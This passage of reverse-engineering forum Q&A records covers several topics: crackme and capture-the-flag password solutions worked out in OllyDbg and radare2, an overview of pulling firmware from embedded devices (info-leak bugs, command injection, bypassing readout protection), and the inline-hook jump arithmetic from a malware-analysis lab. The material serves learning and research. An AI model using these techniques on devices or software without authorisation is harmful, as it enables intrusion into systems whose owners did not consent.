    I'll get right to the point, I have a crack me program, that is a program with a password inside that needs to be found so that you can complete the challenge.

    \n\n

    I easily found the cmp instruction with the password, but the numeric password was multiplied by 2.

    \n\n

    in the program does not have anything to multiply or divide the password, then this must be caused by something else

    \n\n

    so I had to get the hexadecimal value of the password convert to decimal and divide by 2 to have the real password.

    \n\n

    here is the cmp instruction:

    \n\n
    CMP DWORD PTR SS:[EBP-C],961DB0\n
    \n\n
    \n

    0x961DB0 / 2 is the password.
    \n EBP-C has the password.

    \n
    \n\n

    I would like to know why the password has been multiplied by 2 in this cmp instruction.

    \n\n

    \"OLLYDBG

    \n\n

    A photo of the Source Code, I do not have it without being in the photo.

    \n\n

    \"SOURCE

    \n\n

    Thank you very much in advance.

    \n", "Title": "Disassembly - Why the CMP instruction is multiplying by 2 the value being compared", "Tags": "|disassembly|ollydbg|debuggers|disassemblers|crackme|", "Answer": "

    The cmp instruction does not multiply anything by two. Instead, the piece of code seen in your ollydbg screen shot is the implementation of the following line from the poor quality source code image you attached:

    \n\n
    if ((!key) || (key > (0x1337 * 2000)))\n
    \n\n

    First, in address 0x01051C09, key is compared to 0. If key equals 0 a jump to 0x01051C18 is taken. Otherwise, key is compared to 0x0961DB0. If key is below or equal to 0x0961DB0 another jump is taken. If key is greater than 0x0961DB0 execution continues to 0x01051C18.

    \n\n

    As you should've guessed by now, 0x0961DB0 is simply 0x1337 times 2000.

    \n\n

    Instructions 0x01051C18 to 0x01051C22 are the implementation of calling wrong, setting eax to the correct return value (1) and then jumping to where (I assume) the function prolog and ret are executed.

    \n" }, { "Id": "19437", "CreationDate": "2018-09-24T11:03:32.537", "Body": "

    I have a binary with VMProtect. Some tools giving info that this is 2.x, some that 3.x. How I could check it? Thanks.

    \n", "Title": "How detect version of VMProtect", "Tags": "|disassembly|unpacking|packers|vmprotect|", "Answer": "

    Unfortunately there's no easy answer here.

    \n\n

    Most of these tools employ different types of heuristics to determine the version used. Often times just applying binary signatures which could be inaccurate. Without gaining a decent understanding of VMProtect to recognize the differences this will be quite difficult.

    \n\n

    If tools used are open-source or well-documented, you can go over the signature used to detect the version, and validate it manually once you have a good understanding of the rational behind it.

    \n" }, { "Id": "19442", "CreationDate": "2018-09-24T19:54:10.547", "Body": "

    Here is the binary file. https://drive.google.com/file/d/1ywN60yZYIhPPRyZMGbQudZRYoLYBhkeJ/view?usp=sharing

    \n\n

    I am able to figure out some of the assembly, but can't get the correct password. I know that it is two integers separated by a space.

    \n\n

    EDIT: By using the command ps @ str.d__d you get the result of %d %d. It is located at the address 0x0804853f.

    \n\n

    EDIT2: I figured out that there are multiple local variables being used:

    \n\n
    var int local_2ch @ ebp-0x2c \nvar int local_20h @ ebp-0x20 \nvar int local_1ch @ ebp-0x1c \nvar unsigned int local_18h @ ebp-0x18 \nvar int local_14h @ ebp-0x14 \nvar int local_10h @ ebp-0x10\nvar int canary @ ebp-0xc\nvar int local_4h @ ebp-0x4 \narg int arg_4h @ esp+0x4 \n
    \n", "Title": "What is the password to this file? I can't figure it out with radare2 or gdb", "Tags": "|disassembly|x86|decompilation|", "Answer": "

    Here's how you can do it. \nUsual stuff : r2 file; aaa; pdf@sym.main

    \n\n

    You can see the params to scanf pushed to stack.

    \n\n
    |           0x08048537      8d45e4         lea eax, [local_1ch]\n|           0x0804853a      50             push eax\n|           0x0804853b      8d45e0         lea eax, [local_20h]\n|           0x0804853e      50             push eax\n|           0x0804853f      6855860408     push str.d__d               ; 0x8048655 ; \"%d %d\" ; const char *format\n|           0x08048544      e887feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)\n
    \n\n

    Lets rename locals.

    \n\n
    [0x080484eb]> afv?\nUsage: afv  [rbs]\n| afvr[?]                       manipulate register based arguments\n| afvb[?]                       manipulate bp based arguments/locals\n| afvs[?]                       manipulate sp based arguments/locals\n| afv*                          output r2 command to add args/locals to flagspace\n| afvR [varname]                list addresses where vars are accessed (READ)\n| afvW [varname]                list addresses where vars are accessed (WRITE)\n| afva                          analyze function arguments/locals\n| afvd name                     output r2 command for displaying the value of args/locals in the debugger\n| afvn [new_name] ([old_name])  rename argument/local\n| afvt [name] [new_type]        change type for given argument/local\n| afv-([name])                  remove all or given var\n\n[0x080484eb]> afvn input_1 local_20h\n[0x080484eb]> afvn input_2 local_1ch\n[0x080484eb]> pdf@sym.main\n
    \n\n

    Now it looks like

    \n\n
    |           0x08048537      8d45e4         lea eax, [input_2]\n|           0x0804853a      50             push eax\n|           0x0804853b      8d45e0         lea eax, [input_1]\n|           0x0804853e      50             push eax\n|           0x0804853f      6855860408     push str.d__d               ; 0x8048655 ; \"%d %d\" ; const char *format\n|           0x08048544      e887feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)\n
    \n\n

    There's a check for Correct/Incorrect

    \n\n
    |       `-> 0x08048579      837de800       cmp dword [local_18h], 0\n|       ,=< 0x0804857d      7412           je 0x8048591\n|       |   0x0804857f      83ec0c         sub esp, 0xc\n|       |   0x08048582      685b860408     push str.Correct            ; 0x804865b ; \"Correct!\" ; const char *s\n|       |   0x08048587      e824feffff     call sym.imp.puts           ; int puts(const char *s)\n|       |   0x0804858c      83c410         add esp, 0x10\n|      ,==< 0x0804858f      eb10           jmp 0x80485a1\n|      ||   ; CODE XREF from main (0x804857d)\n|      |`-> 0x08048591      83ec0c         sub esp, 0xc\n|      |    0x08048594      6864860408     push str.Incorrect          ; 0x8048664 ; \"Incorrect!\" ; const char *s\n|      |    0x08048599      e812feffff     call sym.imp.puts           ; int puts(const char *s)\n|      |    0x0804859e      83c410         add esp, 0x10\n
    \n\n

    If local_18h is 1/0, Correct/Incorrect is printed out to stdout respectively. Rename local_18h to final_flag as it decides the final output.

    \n\n
    [0x0804852b]> afvn final_flag local_18h\n
    \n\n

    Some constants are loaded to local variables. Remember/rename them to follow in code.

    \n\n
    |           0x0804850f      c745e8010000.  mov dword [final_flag], 1\n|           0x08048516      c745ec2a0000.  mov dword [local_14h], 0x2a ; '*' ; 42\n|           0x0804851d      c745f0390500.  mov dword [local_10h], 0x539 ; 1337\n
    \n\n

    final_flag is initially 1 (true). Just after input, there's a check to set final_flag to 0(false).

    \n\n
    |           0x0804854c      8b45ec         mov eax, dword [const_2a]\n|           0x0804854f      35280a0000     xor eax, 0xa28\n|           0x08048554      89c2           mov edx, eax\n|           0x08048556      8b45e0         mov eax, dword [input_1]\n|           0x08048559      39c2           cmp edx, eax\n|       ,=< 0x0804855b      7407           je 0x8048564\n|       |   0x0804855d      c745e8000000.  mov dword [final_flag], 0\n|       |   ; CODE XREF from main (0x804855b)\n
    \n\n

    This can be roughly translated to:

    \n\n
    if const_2a^0xa28 != input_1:\n    final_flag = False\n
    \n\n

    To pass this input_1 = const_2a^0xa28

    \n\n
    >>> 0x2a^0xa28\n2562\n
    \n\n

    Similar check for input_2

    \n\n
    |       `-> 0x08048564      8b45f0         mov eax, dword [const_539]\n|           0x08048567      f7d0           not eax\n|           0x08048569      89c2           mov edx, eax\n|           0x0804856b      8b45e4         mov eax, dword [input_2]\n|           0x0804856e      39c2           cmp edx, eax\n|       ,=< 0x08048570      7407           je 0x8048579\n|       |   0x08048572      c745e8000000.  mov dword [final_flag], 0\n
    \n\n

    This can be roughly translated to:

    \n\n
    if ~const_539 != input_2:\n    final_flag = False\n
    \n\n

    To pass this input_2 = ~const_539

    \n\n
    >>> ~0x539\n-1338\n
    \n\n

    Finally

    \n\n
    ./part2\nEnter the password: 2562 -1338\nCorrect!\n
    \n" }, { "Id": "19451", "CreationDate": "2018-09-25T14:58:02.807", "Body": "

    This is my first post here. I was recently involved in a capture the flag preparation test which involved decompiling an ELF 32-bit LSB executable, Intel 80386 file for Linux compiled with GCC. The binary is supposed to contain a password for the zip file provided. This is just for preparation to the actual capture the flag challenge that will take place on October 5. I was able to solve the other challenges but this seems impossible.

    \n\n

    I uploaded the files using base64 down there.

    \n\n

    At first I had to install GCC-multilib because I wasn't able to run the binary on a 32 bits system.

    \n\n

    I used strings, objdump and radare2 to get an idea of what was inside the binary.\nI eventually found the main function with a strange behaviour: It calls strcompare with the input string and \"s3cR3t_p4sSw0rD\" but if the two strings match it prints out \"This is not the solution you are looking for :)\", on the other hand, if they don't match, it calls a stringlength function over your input and if it is not 34 characters long it prints out \"Try again :(\".

    \n\n

    There's no success string, in fact in every other case the program stops.

    \n\n

    I tried using radare debug to run the code but if I run it, prints out \"No debugger please!\".\nI eventually found the instruction where this check seems to happen and added a jmp instruction to bypass the check.\nI was not able to add any breakpoint and run the program through the debugger. It just ends without printing anything.

    \n\n

    There are some functions that contain character data but I didn't find anything useful.

    \n\n

    Please help me find the password, I'm getting crazy over this.

    \n\n

    Base 64 Data (Note, this is a zip file not a url...): here

    \n", "Title": "Can't find the password anywhere in the binary", "Tags": "|disassembly|elf|gcc|", "Answer": "

    Since another question was based on the same binary and the accepted answer doesn't go into detail on how to find the function responsible, here's a writeup.\nUsual stuff $ r2 wysiNwyg; aaa

    \n\n

    have a look at the list of functions(afl)

    \n\n
    [0x080484a0]> afl\n0x080483bc    3 35           fcn.080483bc\n0x080483f0    1 6            sym.imp.strcmp\n0x08048400    1 6            sym.imp.printf\n0x08048410    1 6            sym.imp.fgets\n0x08048420    1 6            sym.imp.puts\n0x08048430    1 6            loc.imp.__gmon_start\n0x08048440    1 6            sym.imp.exit\n0x08048450    1 6            sym.imp.strlen\n0x08048460    1 6            sym.imp.__libc_start_main\n0x08048470    1 6            sym.imp.memset\n0x08048480    1 6            sym.imp.putchar\n0x08048490    1 6            sym.imp.ptrace\n0x080484a0    1 33           entry0\n0x080484d0    1 4            fcn.080484d0\n0x080484e0    4 43           fcn.080484e0\n0x08048550    3 30           entry3.fini\n0x08048570    8 43   -> 93   entry1.init\n0x0804859b    3 55           entry2.init\n0x080485d2   12 446          entry4.fini\n0x08048790    8 250          main\n
    \n\n

    Other than main, entry4.fini function is quite large. Have a look at .fini and .fini_array sections from the binary(iS). Functions from .fini_array are called when the program is about to terminate(after main).

    \n\n
    [0x080484a0]> iS~fini\n14 0x00000904    20 0x08048904    20 -r-x .fini\n19 0x00000c08     8 0x08049c08     8 -rw- .fini_array\n
    \n\n

    Seek to that address(s). Dump .fini_array(pxw).

    \n\n
    [0x080484a0]> s 0x08049c08\n[0x08049c08]> pxw 0x10\n0x08049c08  0x08048550 0x080485d2 0x00000000 0x00000001  P...............\n
    \n\n

    entry4.fini has been referenced in .fini_array. Go to main and disassemble. Check where the input is getting stored to

    \n\n
    \u2502           0x080487d5      a1409d0408     mov eax, dword [obj.stdin]  ; [0x8049d40:4]=0\n\u2502           0x080487da      83ec04         sub esp, 4\n\u2502           0x080487dd      50             push eax                    ; FILE *stream\n\u2502           0x080487de      6a23           push 0x23                   ; '#' ; 35 ; int size\n\u2502           0x080487e0      68609d0408     push 0x8049d60              ; char *s\n\u2502           0x080487e5      e826fcffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)\n
    \n\n

    Input from fgets is going to 0x8049d60. You can also name it f input 35 @ 0x8049d60. Check for xrefs on it

    \n\n
    [0x08048790]> axt 0x8049d60\nentry4.fini 0x80486ec [DATA] push 0x8049d60\nmain 0x80487c8 [DATA] push 0x8049d60\nmain 0x80487e0 [DATA] push 0x8049d60\nmain 0x80487f8 [DATA] push 0x8049d60\nmain 0x8048808 [DATA] movzx eax, byte [eax + 0x8049d60]\nmain 0x8048816 [DATA] push 0x8049d60\nmain 0x8048826 [DATA] mov byte [eax + 0x8049d60], 0\nmain 0x8048835 [DATA] push 0x8049d60\nmain 0x804885b [DATA] push 0x8049d60\n
    \n\n

    entry4.fini also references the input. Disassemble it.

    \n\n
    \u2502           0x080486ec      68609d0408     push 0x8049d60              ; const char *s\n\u2502           0x080486f1      e85afdffff     call sym.imp.strlen         ; size_t strlen(const char *s)\n\u2502           0x080486f6      83c410         add esp, 0x10\n\u2502           0x080486f9      83f822         cmp eax, 0x22               ; '\"' ; 34\n
    \n\n

    First check is if your input is 34 bytes long.

    \n\n
    \u2502           0x080486f9      83f822         cmp eax, 0x22               ; '\"' ; 34\n\u2502       \u250c\u2500< 0x080486fc      7405           je 0x8048703\n\u2502      \u250c\u2500\u2500< 0x080486fe      e988000000     jmp 0x804878b\n\u2502      \u2502\u2502   ; CODE XREF from entry4.fini (0x80486fc)\n\u2502      \u2502\u2514\u2500> 0x08048703      c745f4000000.  mov dword [local_ch], 0\n\u2502      \u2502\u250c\u2500< 0x0804870a      eb2c           jmp 0x8048738\n\u2502      \u2502\u2502   ; CODE XREF from entry4.fini (0x804873c)\n\u2502     \u250c\u2500\u2500\u2500> 0x0804870c      8d55d1         lea edx, [local_2fh]\n\u2502     \u205d\u2502\u2502   0x0804870f      8b45f4         mov eax, dword [local_ch]\n\u2502     \u205d\u2502\u2502   0x08048712      01d0           add eax, edx\n\u2502     \u205d\u2502\u2502   0x08048714      0fb600         movzx eax, byte [eax]\n\u2502     \u205d\u2502\u2502   0x08048717      0fbed0         movsx edx, al\n\u2502     \u205d\u2502\u2502   0x0804871a      8b45f4         mov eax, dword [local_ch]\n\u2502     \u205d\u2502\u2502   0x0804871d      05609d0408     add eax, 0x8049d60\n\u2502     \u205d\u2502\u2502   0x08048722      0fb600         movzx eax, byte [eax]\n\u2502     \u205d\u2502\u2502   0x08048725      83f033         xor eax, 0x33\n\u2502     \u205d\u2502\u2502   0x08048728      0fbec0         movsx eax, al\n\u2502     \u205d\u2502\u2502   0x0804872b      0fb6c0         movzx eax, al\n\u2502     \u205d\u2502\u2502   0x0804872e      39c2           cmp edx, eax\n\u2502    \u250c\u2500\u2500\u2500\u2500< 0x08048730      7402           je 0x8048734\n\u2502   \u250c\u2500\u2500\u2500\u2500\u2500< 0x08048732      eb57           jmp 0x804878b\n\u2502   \u2502\u2502\u205d\u2502\u2502   ; CODE XREF from entry4.fini (0x8048730)\n\u2502   \u2502\u2514\u2500\u2500\u2500\u2500> 0x08048734      8345f401       add dword [local_ch], 1\n\u2502   \u2502 \u205d\u2502\u2502   ; CODE XREF from entry4.fini (0x804870a)\n\u2502   \u2502 \u205d\u2502\u2514\u2500> 0x08048738      837df421       cmp dword [local_ch], 0x21  ; [0x21:4]=-1 ; '!' ; 33\n\u2502   \u2502 \u2514\u2500\u2500\u2500< 0x0804873c      7ece           jle 0x804870c\n\u2502   \u2502  \u2502    0x0804873e      c745f4000000.  mov dword [local_ch], 0\n\u2502   \u2502  \u2502\u250c\u2500< 0x08048745      eb21           jmp 0x8048768\n
    \n\n

    Second check involves xor'ing each byte from local_2fh with 0x33 and the comparing with the input byte by byte. Start the VM to dump the memory(0x22 bytes from local_2fh) and perform the xor operation.

    \n\n
    [0x080484a0]> s entry4.fini\n[0x080485d2]> aei\n[0x080485d2]> aeim\n[0x080485d2]> aeip\n
    \n\n

    Local variables are assigned up to instruction 0x08048665 for the check. Emulate and dump the values.

    \n\n
    [0x080485d2]> aesu 0x08048665\n[0x08048659]> pcp 0x22  @ebp-0x2f \nimport struct\nbuf = struct.pack (\"34B\", *[\n0x02,0x5d,0x02,0x67,0x6c,0x07,0x5d,0x77,0x6c,0x75,0x02,\n0x5d,0x02,0x6c,0x07,0x41,0x61,0x07,0x6a,0x40,0x6c,0x07,\n0x41,0x00,0x6c,0x60,0x03,0x6c,0x00,0x07,0x40,0x6a,0x12,\n0x12])\n[0x00000041]> !python\nPython 2.7.15rc1 (default, Apr 15 2018, 21:51:34) \n[GCC 7.3.0] on linux2\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n>>> import struct\n>>> buf = struct.pack (\"34B\", *[\n... 0x02,0x5d,0x02,0x67,0x6c,0x07,0x5d,0x77,0x6c,0x75,0x02,\n... 0x5d,0x02,0x6c,0x07,0x41,0x61,0x07,0x6a,0x40,0x6c,0x07,\n... 0x41,0x00,0x6c,0x60,0x03,0x6c,0x00,0x07,0x40,0x6a,0x12,\n... 0x12])\n>>> print ''.join(map(lambda x:chr(ord(x)^0x33),buf))\n1n1T_4nD_F1n1_4rR4Ys_4r3_S0_34sY!!\n
    \n\n

    This works

    \n\n
    ./wysiNwyg \n\n#########################################################\n### Welcome to the \"wysiNwyg\" challenge!\n###     Your task is to find out the password to be able\n###     to decrypt the password-protected zip and read\n###     the secret flag. Good Luck!!\n#########################################################\n\nPassword: 1n1T_4nD_F1n1_4rR4Ys_4r3_S0_34sY!!\nCongratulations! You just won :p\n
    \n" }, { "Id": "19457", "CreationDate": "2018-09-26T09:19:31.103", "Body": "

    I am on the hook to collect some of legacy firmware images from real-world embedded devices. Before digging into it, I am trying to confirm some high-level points.

    \n\n

    Is it in general possible to gather firmware images from legacy embedded devices? I can come up with some hurdles here:

    \n\n
      \n
    1. I am aware that many embedded devices disable the debug port.
      2. \n
    2. embedded system have the so-called \"Code Readout Protection\" mechanism to prevent users from downloading the firmware
      3. \n
    \n\n

    However, I am also aware the following facts:

    \n\n
      \n

    1. Firmware could be extracted from embedded devices by abusing busybox, for instance its wget command. Something like: Limited BusyBox shell

      2. \n

    2. The \"code readout protection\" could be bypassed, so as the \"debug port\" issue.

      3. \n
    \n\n

    So I am wondering if someone can really picture the landscape here, is it generally considered easy or not to extract legacy firmwares from embedded devices? What is the common procedure and best practice? Thanks.

    \n", "Title": "Extract firmware images from COTS embedded devices", "Tags": "|debugging|firmware|exploit|embedded|", "Answer": "

    As this question is quite general, it'll be difficult to provide a very technical answer.

    \n

    You've asked quite a few questions here, so please let me start with a general overview and then proceed to answer all of your specific questions.

    \n

    General overview

    \n

    The difficulty of pulling firmware images from an embedded device really depends on the firmware device itself, and the access you have to that firmware device.

    \n

    I would say there are a few different alternatives depending on your actual goal (just getting as many firmwares as possible verses getting firmwares for specific devices you're in possession of or interested in, for example). I'll list the general options in ascending difficulty:

    \n

    Getting a firmware image/update online

    \n

    Since a lot of devices support some kind of firmware update mechanisms, firmware images are often made available by the manufacturer either via a manual web page download for manual update or via a web service that will serve over-the-air updates. Although those updates may sometimes be encrypted, in most cases they are just signed - because the actual threat landscape is modifying a firmware and not reading it.

    \n

    As the format of a firmware update may be more complex to understand than a raw dd dump, for example, you'll need to spend extra efforts in understanding the format, extracting the firmware asset(s) from the firmware update file and optionally implementing some firmware-loading logic to get the in-memory image / addressing available. Tools like binwalk are a decent starting point.

    \n

    If firmware is only available over-the-air, you'll also need to spend time understanding the over-the-air protocol and any server side limitations on serving assets. A server may refuse offering an old version you're particularly interested in or require some kind of a per-device identification/authentication.

    \n

    Using an application info-leak vulnerability

    \n

    The simplest example that comes to mind is information disclosure vulnerabilities in web applications that often exist on many embedded devices, however there may be other relevant targets. Unlike native information disclosure vulnerabilities where often pointers, addresses and memory data may be leaked, web information disclosure vulnerabilities often expose files and stored data. This may either allow you to pull other relevant information (for example, probing for hardware devices/interfaces) or even access to the firmware if it is either stored on the same storage or mounted (all the time or when an update runs).

    \n

    Reading a firmware by software when shell access is available

    \n

    Shell or root access may be available to you without looking at the firmware because of a known vulnerability or one that is easy enough to discover without actually reading any code. A device may also offer some kind of terminal access for debugging purposes. Instead of a full-blown terminal, one can have the ability to just execute a single shell command using command injections, for example.

    \n

    Once you have access, this is mostly a matter of probing for any available assets and recovering whatever you can.

    \n

    Reading a firmware by hardware when physical access if available

    \n

    As this can often be the most challenging way of extracting firmware images, you may occasionally be lucky to the point that this approach can be as easy as pulling a SD card and plugging it into a computer. This isn't often the case, though. Since this specific topic is quite huge and you seem to be looking for an overview, I will not dive deep into the specifics.

    \n

    When physical access to a device is available and any debug ports, uarts, or serial ports are available, you may often find them very useful for extracting details about the firmware. Some of those features may also be available through an ethernet port. These debugging interfaces often provide raw access to different components, such as the storage or controlling the boot sequence.

    \n

    Although sometimes identifying such a port can be easy thanks to exposed unconnected pinheads and existing pin label printouts depicted below:

    \n

    \"pinheads\" \"pin

    \n

    Unmounted pinheads on the left, pin labels on the right. Click to enlarge

    \n

    The different debug ports could also be harder to recognize when no labels are printed and there are no pinheads connected. A walk-through example for identifying both exposed and hidden debug ports is available here.

    \n

    When debug ports are insufficient, the next step further is directly reading the firmware from the storage chip. This often includes either taking it out of the board and using your own electronic circuit to read memory out of the chip or hooking to the chip while it's still connected to the original board but either passively listening to data as it's read by the device or issuing your own read instructions. You'll first need to identify the circle components and their purpose, and manufacturer datasheets. This will obviously also require dedicated hardware. Generic boards exist for that purpose (some specifically for firmware extraction and hardware reverse engineering like GoodFET and BusPirate) and you can also get some development equipment from chip manufacturers that use proprietary In Circuit Serial Programming, if they'll be willing to sell those to you.

    \n

    You can go even as far as reading the data directly from the chip using electrical and optical analysis of the chips' die layers, but that seems unlikely for your case.

    \n

    Answering your specific questions

    \n
    \n

    Is it in general possible to gather firmware images from legacy embedded devices?

    \n
    \n

    As mentioned earlier, this greatly depends on the specific device and how protected it may be. It tends to be doable for most cheap devices but as a device becomes more expensive you can assume it'll be more complex and indirectly incur more difficulties.

    \n

    It is also important to note that excluding the really expensive and/or often targeted devices (smartphones is a good example of those), most difficulties will not come from a manufacturer actively trying to make firmware extraction harder, but will more often come from design decisions and product choices and just happen to impact the difficulty of extracting a firmware image.

    \n
    \n
      \n
    1. I am aware that many embedded devices disable the debug port
      2. \n
    \n
    \n

    Although this can sometimes be the case for either increased security or to reduce costs, removing a debug port completely makes repairs and QA more difficulties. Often, although the debug port may to be included a convenient pinout may be laid out for easy access, either heads for easy access or without as seen in the following picture:

    \n

    \"output

    \n

    Picture taken from this step by step hardware reverse engineering tutorial

    \n
    \n
      \n
    1. embedded system have the so-called "Code Readout Protection" mechanism to prevent users from downloading the firmware
      2. \n
    \n
    \n

    The cheaper devices will generally not bother with code readout protection, and there are some ways to bypass it although those tend to be relatively difficult and specific. One such method is to remove the storage chip and interact with it directly to extract the firmware image, as I previously mentioned in Reading a firmware by hardware when physical access if available.

    \n
    \n
      \n
    1. Firmware could be extracted from embedded devices by abusing busybox, for instance its wget command. Something like: Limited BusyBox shell
      2. \n
    \n
    \n

    This approach is an example of what I've discussed under Reading a firmware by software when shell access is available above. In the example you linked, wget is used to exfiltrate the data after you get it, but there's no limit to the creativity of that (one can even go as far as use available LEDs to encode binary data).

    \n
    \n
      \n
    1. The "code readout protection" could be bypassed, so as the "debug port" issue
      2. \n
    \n
    \n

    Yes, through slightly more advanced hardware reverse engineering tools and abilities it is possible to extract software from chips that have readout protection, use a device port although it isn't mounted, avoid the need of a debug port, using the chip's datasheet to recognize how to properly read the data out, snarfing it while it's being read by the existing circuit, etc...

    \n
    \n

    is it generally considered easy or not to extract legacy firmwares from embedded devices? What is the common procedure and best practice?

    \n
    \n

    As shown by this post, and repeated several times, this can be relatively easy or relatively difficult, depending on specific case. Common procedures also vary heavily.

    \n

    Further reading

    \n

    The topic of hardware reverse engineering is big an wide, and it is hard to cover it all in an SO post. You should spend more time reading, watching talks and following walkthroughs to gain more knowledge on the subject. Here are a few resources:

    \n
      \n
    1. A survey of The State-of-the-Art in IC Reverse Engineering
      2. \n
    2. Keep your tentacles off my bus and other talks by Dmitry Nedospasov.
      3. \n
    3. This hardcore example of firmware extraction by decapping by Travis Goodspeed.
      4. \n
    4. This introductory level, five part hardware/firmware reverse engineering walkthrough.
      5. \n
    5. A presentation about practical extraction using a Null dereference bug.
      6. \n
    \n

    and many other resources available online.

    \n" }, { "Id": "19459", "CreationDate": "2018-09-26T13:20:01.597", "Body": "

    I don't get why the two addresses of the functions are subtracted in order to get the jump destination.

    \n\n
    mov    eax, [ebp+func1]\nsub    eax, [ebp+func2]\nsub    eax, 5\nmov    [ebp+var_4], eax\n
    \n\n

    Which is then used as follows:

    \n\n
    mov    edx, [ebp+func2]\nmov    [edx], 0E9h         ;E9 is opcode for jmp\nmov    eax, [ebp+func2]\nmov    ecx, [ebp+var_4]\nmov    [eax+1], ecx\n
    \n\n

    The intention of this code should be that at the beginning of func2 a jump to func1 should be inserted. The jump location is calculated in the first snippet. Is that right?

    \n\n

    I don't understand why the location is calculated by difference of the two memory addresses? Why don't use directly the address of func1?

    \n\n

    Note: This example is from the Practical Malware Analysis book (Lab11-2) on the topic of Inline Hooking.

    \n", "Title": "Calculation of jmp address through subtraction", "Tags": "|disassembly|assembly|x86|function-hooking|", "Answer": "

    I'll start with briefly going over the code for completeness's sake even though OP clearly understands what's going on and mostly asks about the reasoning behind it.

    \n\n

    The first snippet of code can be easily written like the following in C:

    \n\n
    dword var_4 = &func1 - &func2 - 5;\n
    \n\n

    This piece of code, by itself, raises a few questions we'll answer in a bit but first lets dig a little deeper into the second assembly snippet:

    \n\n
    mov    edx, [ebp+func2]\nmov    [edx], 0E9h         ;E9 is opcode for jmp\n
    \n\n

    The first byte of func2 is set to 0xE9, which is the opcode for a \"Jump near, relative, immediate\" jump.

    \n\n
    mov    eax, [ebp+func2]\nmov    ecx, [ebp+var_4]\nmov    [eax+1], ecx\n
    \n\n

    Then, the next four bytes of func (1 through 5) are set to the offset previously calculated in the first snippet.

    \n\n

    Now, this may raise a couple of questions:

    \n\n
    \n

    why is the offset then decreased by 5?

    \n
    \n\n

    This is done because a relative jump is relative to the next instruction, thus subtracting 5 removes the 5 additional bytes of the jump instruction itself. A more accurate way of looking at it is that the offset should be calculated from &func2 + 5. The original equation (&func1 - &func2 - 5) is obviously identical to &func1 - (&func2 + 5).

    \n\n
    \n

    Why do we care so much about instruction length to begin with?

    \n
    \n\n

    So, as some people here already implied, the length of a hook jump is important. That is very much true (although does not tell the whole reason behind the relative jump preference). The length of the hook (or jump sequence) is important because it can create weird edge cases. This isn't just about some minor performance optimization or keeping things simple, as one might assume.

    \n\n

    One big consideration is that you'll need to replace any instructions you overwrite. Those bytes you use for your jump had a meaning. And they have to be preserved somewhere. Overwriting more bytes means you have to copy more of them elsewhere. With relative instructions on the original instruction sequence fixed, for example. You'll need to make sure you do not leave half-instructions after you.

    \n\n
    \n

    why use a relative jump and not an absolute address?

    \n
    \n\n

    Sorry it took a while to get here ;D

    \n\n

    I think a lot of people overlook or forget that over time, but as carefully reviewing the jump instruction will reveal, the x86 jump opcodes lacks a near, immediate, absolute jump.

    \n\n

    We've got three different types of jumps in x86:

    \n\n
      \n
    1. E9 for near immediate offsets (offsets hard coded directly as an integer inside the instruction itself).
      2. \n
    2. FF /4 for near absolute jumps.
      3. \n
    3. we've got EA for far immediate absolute jumps.
      4. \n
    \n\n

    The far jump opcode (EA) is slow and mostly used for changing segment registers (which have a completely different use in protected mode), it is therefore rarely used as a normal jump per-se, but as a call-gate, for switching between execution contexts, etc.

    \n\n

    The absolute address jump opcode (FF /4) does not accept an immediate value. It can only jump to a value stored in a register or stored in memory.Therefore, using it will require you either:

    \n\n
      \n
    1. Storing the absolute offset at some reserved memory space, specifically allocated by the hook routine for each hook function for that purpose, or
      2. \n
    2. Hard-coding an register load instruction, which will set a register to the absolute value. Something like mov eax, <absolute value> / jump eax or push <absolute value> / ret.
      3. \n
    \n\n

    Understanding this, it is clear that using the near, immediate, relative jump is far easier than both of these approaches.

    \n\n

    So although it is accurate to say using an absolute address will require longer instruction sequence, it does not tell the whole story.

    \n\n

    This, then raises another question:

    \n\n
    \n

    Why, then, isn't there a near, immediate, absolute jump in x86?

    \n
    \n\n

    Simple answer is that there just isn't one. One can speculate about the reasoning behind the instruction set design decisions but adding instructions is expensive and complex. I assume there was no real need for near absolute immediate jump, as it is indeed a rare occasion where you need to jump to an address known ahead of time and a relative jump won't do.

    \n" }, { "Id": "19462", "CreationDate": "2018-09-26T18:15:03.647", "Body": "

    I have a simple DOS COM program which I want to analyse using Radare2:

    \n\n
      USE16\n  ORG 100h\n\n  mov ax, cs\n  dec ax\n  mov ds, ax\n\n  mov dx, message+10h\n  mov ah, 9\n  int 21h\n  ret\n\nmessage:   db \"Hello there!$\"\n
    \n\n

    (Use yasm or echo \"jMhIjti6HQG0Cc0hw0hlbGxvIHRoZXJlISQ=\" | base64 -d > test.com to compile it to a binary.)

    \n\n

    When I load the binary using r2 -b16 test.com radare shows that I'm at 0000:0000.

    \n\n

    How can I tell radare that the actual program address should be 0000:0100?

    \n\n

    Also how can I tell radare that the offset loaded into the dx register points to message? In other words, can I tell radare that dx is an offset using a segment that starts at 0000:0100 - 0x10?

    \n", "Title": "Working with 16bit offsets and segments in Radare2", "Tags": "|radare2|dos|", "Answer": "

    You can use -m 0x100 to load the binary at a specific address, as can be seen in r2 -h output:

    \n\n
    \n

    -m [addr] map file at given address (loadaddr)

    \n
    \n\n

    So you can do something like this:

    \n\n
    $ r2 -m 0x100 -b 16 test.com\n\n[0000:0100]> aa\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[0000:0100]> pdf\n\u256d (fcn) fcn.00000100 13\n\u2502   fcn.00000100 ();\n\u2502           0000:0100      8cc8           mov ax, cs\n\u2502           0000:0102      48             dec ax\n\u2502           0000:0103      8ed8           mov ds, ax\n\u2502           0000:0105      ba1d01         mov dx, 0x11d                ; 285\n\u2502           0000:0108      b409           mov ah, 9\n\u2502           0000:010a      cd21           int 0x21                     ; '!'\n\u2570           0000:010c      c3             ret\n
    \n\n

    Regarding your second question, the bytes that interpreted as mov dx, 0x11d are ba1d01. As you can see, 0x01d1 is hard coded so r2 won't add message + to it.

    \n\n

    You can create a flag using f str.message 13 @ 0x10d but it would probably not be helpful in your case.

    \n" }, { "Id": "19474", "CreationDate": "2018-09-27T13:58:26.977", "Body": "

    I'm trying to replace a static value:

    \n\n
    MOV DWORD PTR SS:[EBP-30],4c\n
    \n\n

    With a value from a specific address:

    \n\n
    MOV DWORD PTR SS:[EBP-30],400400 // MOV DWORD PTR SS:[EBP-30],OFFSET 400400\n
    \n\n

    But SS:[EBP-30] is not being set to the value from 0x400400.

    \n\n

    I'm new to this but I was thinking this would work:

    \n\n
    MOV DWORD PTR SS:[EBP-30],DWORD PTR DS:[400400]\n
